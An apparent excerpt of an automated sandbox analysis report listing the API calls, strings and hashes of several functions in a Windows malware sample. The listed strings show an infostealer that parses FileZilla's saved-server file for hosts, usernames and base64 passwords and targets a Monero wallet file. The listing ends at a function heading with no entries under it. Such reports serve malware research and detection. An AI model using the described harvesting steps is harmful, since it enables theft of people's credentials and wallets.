Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 3f8cb0a537c15d0168d028cb80228107f0d74dccba1bdba05e705014661147a4
Instruction ID: d7b1b4627df81327ee816d1ee686977bf7042668284840c106a8cd94f28deb0a
Opcode Fuzzy Hash: 3f8cb0a537c15d0168d028cb80228107f0d74dccba1bdba05e705014661147a4
Instruction Fuzzy Hash: 00D05E7490030CDBCB14EFE0E8496DDBB7CFB08322F040564D90663340EA3154C2CBA5

Function 00F49C10 Relevance: 235.2, APIs: 112, Strings: 22, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00775148), ref: 00F49C2D
GetProcAddress.KERNEL32(76210000,00775168), ref: 00F49C45
GetProcAddress.KERNEL32(76210000,00789010), ref: 00F49C5E
GetProcAddress.KERNEL32(76210000,00789040), ref: 00F49C76
GetProcAddress.KERNEL32(76210000,00789058), ref: 00F49C8E
GetProcAddress.KERNEL32(76210000,0078DAD8), ref: 00F49CA7
GetProcAddress.KERNEL32(76210000,0077A540), ref: 00F49CBF
GetProcAddress.KERNEL32(76210000,0078DCB8), ref: 00F49CD7
GetProcAddress.KERNEL32(76210000,0078DBE0), ref: 00F49CF0
GetProcAddress.KERNEL32(76210000,0078DCA0), ref: 00F49D08
GetProcAddress.KERNEL32(76210000,0078DB08), ref: 00F49D20
GetProcAddress.KERNEL32(76210000,00775268), ref: 00F49D39
GetProcAddress.KERNEL32(76210000,00775288), ref: 00F49D51
GetProcAddress.KERNEL32(76210000,00775008), ref: 00F49D69
GetProcAddress.KERNEL32(76210000,00775328), ref: 00F49D82
GetProcAddress.KERNEL32(76210000,0078DB68), ref: 00F49D9A
GetProcAddress.KERNEL32(76210000,0078DAC0), ref: 00F49DB2
GetProcAddress.KERNEL32(76210000,0077A810), ref: 00F49DCB
GetProcAddress.KERNEL32(76210000,00775308), ref: 00F49DE3
GetProcAddress.KERNEL32(76210000,0078DBB0), ref: 00F49DFB
GetProcAddress.KERNEL32(76210000,0078DB20), ref: 00F49E14
GetProcAddress.KERNEL32(76210000,0078DB80), ref: 00F49E2C
GetProcAddress.KERNEL32(76210000,0078DB38), ref: 00F49E44
GetProcAddress.KERNEL32(76210000,00774F68), ref: 00F49E5D
GetProcAddress.KERNEL32(76210000,0078DD30), ref: 00F49E75
GetProcAddress.KERNEL32(76210000,0078DBF8), ref: 00F49E8D
GetProcAddress.KERNEL32(76210000,0078DAF0), ref: 00F49EA6
GetProcAddress.KERNEL32(76210000,0078DC10), ref: 00F49EBE
GetProcAddress.KERNEL32(76210000,0078DCD0), ref: 00F49ED6
GetProcAddress.KERNEL32(76210000,0078DBC8), ref: 00F49EEF
GetProcAddress.KERNEL32(76210000,0078DB98), ref: 00F49F07
GetProcAddress.KERNEL32(76210000,0078DC28), ref: 00F49F1F
GetProcAddress.KERNEL32(76210000,0078DD60), ref: 00F49F38
GetProcAddress.KERNEL32(76210000,0077FE38), ref: 00F49F50
GetProcAddress.KERNEL32(76210000,0078DD48), ref: 00F49F68
GetProcAddress.KERNEL32(76210000,0078DD78), ref: 00F49F81
GetProcAddress.KERNEL32(76210000,00775028), ref: 00F49F99
GetProcAddress.KERNEL32(76210000,0078DC40), ref: 00F49FB1
GetProcAddress.KERNEL32(76210000,00774F48), ref: 00F49FCA
GetProcAddress.KERNEL32(76210000,0078DC58), ref: 00F49FE2
GetProcAddress.KERNEL32(76210000,0078DB50), ref: 00F49FFA
GetProcAddress.KERNEL32(76210000,00774F88), ref: 00F4A013
GetProcAddress.KERNEL32(76210000,00774FA8), ref: 00F4A02B
LoadLibraryA.KERNEL32(0078DC70,?,00F45CA3,00F50AEB,?,?,?,?,?,?,?,?,?,?,00F50AEA,00F50AE3), ref: 00F4A03D
LoadLibraryA.KERNEL32(0078DC88,?,00F45CA3,00F50AEB,?,?,?,?,?,?,?,?,?,?,00F50AEA,00F50AE3), ref: 00F4A04E
LoadLibraryA.KERNEL32(0078DCE8,?,00F45CA3,00F50AEB,?,?,?,?,?,?,?,?,?,?,00F50AEA,00F50AE3), ref: 00F4A060
LoadLibraryA.KERNEL32(0078DD00,?,00F45CA3,00F50AEB,?,?,?,?,?,?,?,?,?,?,00F50AEA,00F50AE3), ref: 00F4A072
LoadLibraryA.KERNEL32(0078DD18,?,00F45CA3,00F50AEB,?,?,?,?,?,?,?,?,?,?,00F50AEA,00F50AE3), ref: 00F4A083
LoadLibraryA.KERNEL32(0078DD90,?,00F45CA3,00F50AEB,?,?,?,?,?,?,?,?,?,?,00F50AEA,00F50AE3), ref: 00F4A095
LoadLibraryA.KERNEL32(0078DDA8,?,00F45CA3,00F50AEB,?,?,?,?,?,?,?,?,?,?,00F50AEA,00F50AE3), ref: 00F4A0A7
LoadLibraryA.KERNEL32(0078DDC0,?,00F45CA3,00F50AEB,?,?,?,?,?,?,?,?,?,?,00F50AEA,00F50AE3), ref: 00F4A0B8
GetProcAddress.KERNEL32(751E0000,00774FC8), ref: 00F4A0DA
GetProcAddress.KERNEL32(751E0000,0078DEC8), ref: 00F4A0F2
GetProcAddress.KERNEL32(751E0000,00788AC8), ref: 00F4A10A
GetProcAddress.KERNEL32(751E0000,0078DE08), ref: 00F4A123
GetProcAddress.KERNEL32(751E0000,00774FE8), ref: 00F4A13B
GetProcAddress.KERNEL32(73FB0000,0077A5B8), ref: 00F4A160
GetProcAddress.KERNEL32(73FB0000,007753C8), ref: 00F4A179
GetProcAddress.KERNEL32(73FB0000,0077A568), ref: 00F4A191
GetProcAddress.KERNEL32(73FB0000,0078DE38), ref: 00F4A1A9
GetProcAddress.KERNEL32(73FB0000,0078DF28), ref: 00F4A1C2
GetProcAddress.KERNEL32(73FB0000,00775408), ref: 00F4A1DA
GetProcAddress.KERNEL32(73FB0000,007756E8), ref: 00F4A1F2
GetProcAddress.KERNEL32(73FB0000,0078DDF0), ref: 00F4A20B
GetProcAddress.KERNEL32(753A0000,007755A8), ref: 00F4A22C
GetProcAddress.KERNEL32(753A0000,00775588), ref: 00F4A244
GetProcAddress.KERNEL32(753A0000,0078DEE0), ref: 00F4A25D
GetProcAddress.KERNEL32(753A0000,0078DE20), ref: 00F4A275
GetProcAddress.KERNEL32(753A0000,00775608), ref: 00F4A28D
GetProcAddress.KERNEL32(76310000,0077A838), ref: 00F4A2B3
GetProcAddress.KERNEL32(76310000,0077A770), ref: 00F4A2CB
GetProcAddress.KERNEL32(76310000,0078DF40), ref: 00F4A2E3
GetProcAddress.KERNEL32(76310000,00775508), ref: 00F4A2FC
GetProcAddress.KERNEL32(76310000,00775688), ref: 00F4A314
GetProcAddress.KERNEL32(76310000,0077A6F8), ref: 00F4A32C
GetProcAddress.KERNEL32(76910000,0078DE80), ref: 00F4A352
GetProcAddress.KERNEL32(76910000,00775528), ref: 00F4A36A
GetProcAddress.KERNEL32(76910000,00788B48), ref: 00F4A382
GetProcAddress.KERNEL32(76910000,0078DEF8), ref: 00F4A39B
GetProcAddress.KERNEL32(76910000,0078DE98), ref: 00F4A3B3
GetProcAddress.KERNEL32(76910000,007755C8), ref: 00F4A3CB
GetProcAddress.KERNEL32(76910000,00775648), ref: 00F4A3E4
GetProcAddress.KERNEL32(76910000,0078DEB0), ref: 00F4A3FC
GetProcAddress.KERNEL32(76910000,0078DF10), ref: 00F4A414
GetProcAddress.KERNEL32(75B30000,007756A8), ref: 00F4A436
GetProcAddress.KERNEL32(75B30000,0078DF70), ref: 00F4A44E
GetProcAddress.KERNEL32(75B30000,0078DDD8), ref: 00F4A466
GetProcAddress.KERNEL32(75B30000,0078DE50), ref: 00F4A47F
GetProcAddress.KERNEL32(75B30000,0078DF58), ref: 00F4A497
GetProcAddress.KERNEL32(75670000,007753E8), ref: 00F4A4B8
GetProcAddress.KERNEL32(75670000,00775388), ref: 00F4A4D1
GetProcAddress.KERNEL32(76AC0000,00775548), ref: 00F4A4F2
GetProcAddress.KERNEL32(76AC0000,0078DE68), ref: 00F4A50A
GetProcAddress.KERNEL32(6F4E0000,007756C8), ref: 00F4A530
GetProcAddress.KERNEL32(6F4E0000,007753A8), ref: 00F4A548
GetProcAddress.KERNEL32(6F4E0000,00775348), ref: 00F4A560
GetProcAddress.KERNEL32(6F4E0000,0078D808), ref: 00F4A579
GetProcAddress.KERNEL32(6F4E0000,007755E8), ref: 00F4A591
GetProcAddress.KERNEL32(6F4E0000,00775568), ref: 00F4A5A9
GetProcAddress.KERNEL32(6F4E0000,00775628), ref: 00F4A5C2
GetProcAddress.KERNEL32(6F4E0000,00775468), ref: 00F4A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 00F4A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 00F4A607
GetProcAddress.KERNEL32(75AE0000,0078D940), ref: 00F4A629
GetProcAddress.KERNEL32(75AE0000,00788B58), ref: 00F4A641
GetProcAddress.KERNEL32(75AE0000,0078D820), ref: 00F4A659
GetProcAddress.KERNEL32(75AE0000,0078D9E8), ref: 00F4A672
GetProcAddress.KERNEL32(76300000,00775668), ref: 00F4A693
GetProcAddress.KERNEL32(6FF20000,0078DA00), ref: 00F4A6B4
GetProcAddress.KERNEL32(6FF20000,00775368), ref: 00F4A6CD
GetProcAddress.KERNEL32(6FF20000,0078D958), ref: 00F4A6E5
GetProcAddress.KERNEL32(6FF20000,0078D8F8), ref: 00F4A6FD

Strings

HttpQueryInfoA, xrefs: 00F4A5FC
(Sw, xrefs: 00F49D74
hVw, xrefs: 00F4A686
(Pw, xrefs: 00F49F8C
hQw, xrefs: 00F49C38
Sw, xrefs: 00F4A4AB
Ow, xrefs: 00F4A12E
(Vw, xrefs: 00F4A5B4
HQw, xrefs: 00F49C20
Uw, xrefs: 00F4A584
hRw, xrefs: 00F49D2B
HSw, xrefs: 00F4A553
HVw, xrefs: 00F4A3D6
HUw, xrefs: 00F4A4E5
hOw, xrefs: 00F49E4F
hTw, xrefs: 00F4A5CD
InternetSetOptionA, xrefs: 00F4A5E5
hUw, xrefs: 00F4A59C
HOw, xrefs: 00F49FBC
(Uw, xrefs: 00F4A35D
hSw, xrefs: 00F4A6BF
Vw, xrefs: 00F4A1E5

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: (Pw$(Sw$(Uw$(Vw$HOw$HQw$HSw$HUw$HVw$HttpQueryInfoA$InternetSetOptionA$hOw$hQw$hRw$hSw$hTw$hUw$hVw$Ow$Sw$Uw$Vw
API String ID: 2238633743-2211804852
Opcode ID: f663d0bffb68e9c2ba10977eea2587939540051d285dae5423bafa52c9163f9c
Instruction ID: 37ae625a41874cbdeb68af9625bdfcfff27c0ade9ca714afbb1d47934436aff7
Opcode Fuzzy Hash: f663d0bffb68e9c2ba10977eea2587939540051d285dae5423bafa52c9163f9c
Instruction Fuzzy Hash: 26622BB5504640AFC36CDFA8F59995EBBF9EF8C20271C853AA626C334CD63A94C1DB50

Function 00F37710 Relevance: 96.8, APIs: 54, Strings: 1, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00F37724
RtlAllocateHeap.NTDLL(00000000), ref: 00F3772B
lstrcat.KERNEL32(?,0078A7F8), ref: 00F378DB
lstrcat.KERNEL32(?,?), ref: 00F378EF
lstrcat.KERNEL32(?,?), ref: 00F37903
lstrcat.KERNEL32(?,?), ref: 00F37917
lstrcat.KERNEL32(?,0078F488), ref: 00F3792B
lstrcat.KERNEL32(?,0078F548), ref: 00F3793F
lstrcat.KERNEL32(?,0078F590), ref: 00F37952
lstrcat.KERNEL32(?,0078F368), ref: 00F37966
lstrcat.KERNEL32(?,0078A880), ref: 00F3797A
lstrcat.KERNEL32(?,?), ref: 00F3798E
lstrcat.KERNEL32(?,?), ref: 00F379A2
lstrcat.KERNEL32(?,?), ref: 00F379B6
lstrcat.KERNEL32(?,0078F488), ref: 00F379C9
lstrcat.KERNEL32(?,0078F548), ref: 00F379DD
lstrcat.KERNEL32(?,0078F590), ref: 00F379F1
lstrcat.KERNEL32(?,0078F368), ref: 00F37A04
lstrcat.KERNEL32(?,0078F7B0), ref: 00F37A18
lstrcat.KERNEL32(?,?), ref: 00F37A2C
lstrcat.KERNEL32(?,?), ref: 00F37A40
lstrcat.KERNEL32(?,?), ref: 00F37A54
lstrcat.KERNEL32(?,0078F488), ref: 00F37A68
lstrcat.KERNEL32(?,0078F548), ref: 00F37A7B
lstrcat.KERNEL32(?,0078F590), ref: 00F37A8F
lstrcat.KERNEL32(?,0078F368), ref: 00F37AA3
lstrcat.KERNEL32(?,0078F818), ref: 00F37AB6
lstrcat.KERNEL32(?,?), ref: 00F37ACA
lstrcat.KERNEL32(?,?), ref: 00F37ADE
lstrcat.KERNEL32(?,?), ref: 00F37AF2
lstrcat.KERNEL32(?,0078F488), ref: 00F37B06
lstrcat.KERNEL32(?,0078F548), ref: 00F37B1A
lstrcat.KERNEL32(?,0078F590), ref: 00F37B2D
lstrcat.KERNEL32(?,0078F368), ref: 00F37B41
lstrcat.KERNEL32(?,0078F880), ref: 00F37B55
lstrcat.KERNEL32(?,?), ref: 00F37B69
lstrcat.KERNEL32(?,?), ref: 00F37B7D
lstrcat.KERNEL32(?,?), ref: 00F37B91
lstrcat.KERNEL32(?,0078F488), ref: 00F37BA4
lstrcat.KERNEL32(?,0078F548), ref: 00F37BB8
lstrcat.KERNEL32(?,0078F590), ref: 00F37BCC
lstrcat.KERNEL32(?,0078F368), ref: 00F37BDF
lstrcat.KERNEL32(?,0078F8E8), ref: 00F37BF3
lstrcat.KERNEL32(?,?), ref: 00F37C07
lstrcat.KERNEL32(?,?), ref: 00F37C1B
lstrcat.KERNEL32(?,?), ref: 00F37C2F
lstrcat.KERNEL32(?,0078F488), ref: 00F37C43
lstrcat.KERNEL32(?,0078F548), ref: 00F37C56
lstrcat.KERNEL32(?,0078F590), ref: 00F37C6A
lstrcat.KERNEL32(?,0078F368), ref: 00F37C7E

Part of subcall function 00F375D0: lstrcat.KERNEL32(356BD020,00F517FC), ref: 00F37606
Part of subcall function 00F375D0: lstrcat.KERNEL32(356BD020,00000000), ref: 00F37648
Part of subcall function 00F375D0: lstrcat.KERNEL32(356BD020, : ), ref: 00F3765A
Part of subcall function 00F375D0: lstrcat.KERNEL32(356BD020,00000000), ref: 00F3768F
Part of subcall function 00F375D0: lstrcat.KERNEL32(356BD020,00F51804), ref: 00F376A0
Part of subcall function 00F375D0: lstrcat.KERNEL32(356BD020,00000000), ref: 00F376D3
Part of subcall function 00F375D0: lstrcat.KERNEL32(356BD020,00F51808), ref: 00F376ED
Part of subcall function 00F375D0: task.LIBCPMTD ref: 00F376FB

lstrcat.KERNEL32(?,0078FB40), ref: 00F37E0B
lstrcat.KERNEL32(?,0078E148), ref: 00F37E1E
lstrlen.KERNEL32(356BD020), ref: 00F37E2B
lstrlen.KERNEL32(356BD020), ref: 00F37E3B

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Strings

Hx, xrefs: 00F37E11

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID: Hx
API String ID: 928082926-3775538477
Opcode ID: 30b5fbd23cad149ffab4004474f8103e944aa7f00e5ddd82465f91b4bd6c087d
Instruction ID: 8d420c6ac75a4d30e3aaff251147197cf08d72052769a2dd38d4c46e82484e58
Opcode Fuzzy Hash: 30b5fbd23cad149ffab4004474f8103e944aa7f00e5ddd82465f91b4bd6c087d
Instruction Fuzzy Hash: 8B321FB2900354ABC729FBA0EC85DEE777CBB44701F084698F62963184EE78E7859F51

Function 00F40250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F48E0B

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Part of subcall function 00F399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F399EC
Part of subcall function 00F399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F39A11
Part of subcall function 00F399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F39A31
Part of subcall function 00F399C0: ReadFile.KERNEL32(000000FF,?,00000000,00F3148F,00000000), ref: 00F39A5A
Part of subcall function 00F399C0: LocalFree.KERNEL32(00F3148F), ref: 00F39A90
Part of subcall function 00F399C0: CloseHandle.KERNEL32(000000FF), ref: 00F39A9A

Part of subcall function 00F48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F48E52

GetProcessHeap.KERNEL32(00000000,000F423F,00F50DBA,00F50DB7,00F50DB6,00F50DB3), ref: 00F40362
RtlAllocateHeap.NTDLL(00000000), ref: 00F40369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00F40385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F50DB2), ref: 00F40393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00F403CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F50DB2), ref: 00F403DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00F40419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F50DB2), ref: 00F40427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00F40463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F50DB2), ref: 00F40475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F50DB2), ref: 00F40502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F50DB2), ref: 00F4051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F50DB2), ref: 00F40532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F50DB2), ref: 00F4054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00F40562
lstrcat.KERNEL32(?,profile: null), ref: 00F40571
lstrcat.KERNEL32(?,url: ), ref: 00F40580
lstrcat.KERNEL32(?,00000000), ref: 00F40593
lstrcat.KERNEL32(?,00F51678), ref: 00F405A2
lstrcat.KERNEL32(?,00000000), ref: 00F405B5
lstrcat.KERNEL32(?,00F5167C), ref: 00F405C4
lstrcat.KERNEL32(?,login: ), ref: 00F405D3
lstrcat.KERNEL32(?,00000000), ref: 00F405E6
lstrcat.KERNEL32(?,00F51688), ref: 00F405F5
lstrcat.KERNEL32(?,password: ), ref: 00F40604
lstrcat.KERNEL32(?,00000000), ref: 00F40617
lstrcat.KERNEL32(?,00F51698), ref: 00F40626
lstrcat.KERNEL32(?,00F5169C), ref: 00F40635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F50DB2), ref: 00F4068E

Strings

browser: FileZilla, xrefs: 00F40559
<Host>, xrefs: 00F4037C
<Port>, xrefs: 00F403C6
password: , xrefs: 00F405FB
login: , xrefs: 00F405CA
url: , xrefs: 00F40577
profile: null, xrefs: 00F40568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00F402A4
<Pass encoding="base64">, xrefs: 00F4045A
<User>, xrefs: 00F40410

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 068383ca1d4c5baa70e255a1027e9f3efdd5dfcfcd494d5b6d89fde97474b8ff
Instruction ID: 05d4b40a73eff579442f12cd241f7c4c689598fc66542e561b010c03d7c4ffd4
Opcode Fuzzy Hash: 068383ca1d4c5baa70e255a1027e9f3efdd5dfcfcd494d5b6d89fde97474b8ff
Instruction Fuzzy Hash: 12D14471940108ABDB14EBF0DD96EEE7B38FF54301F444418F912A7185DF78AA4AEB61

Function 00F35100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

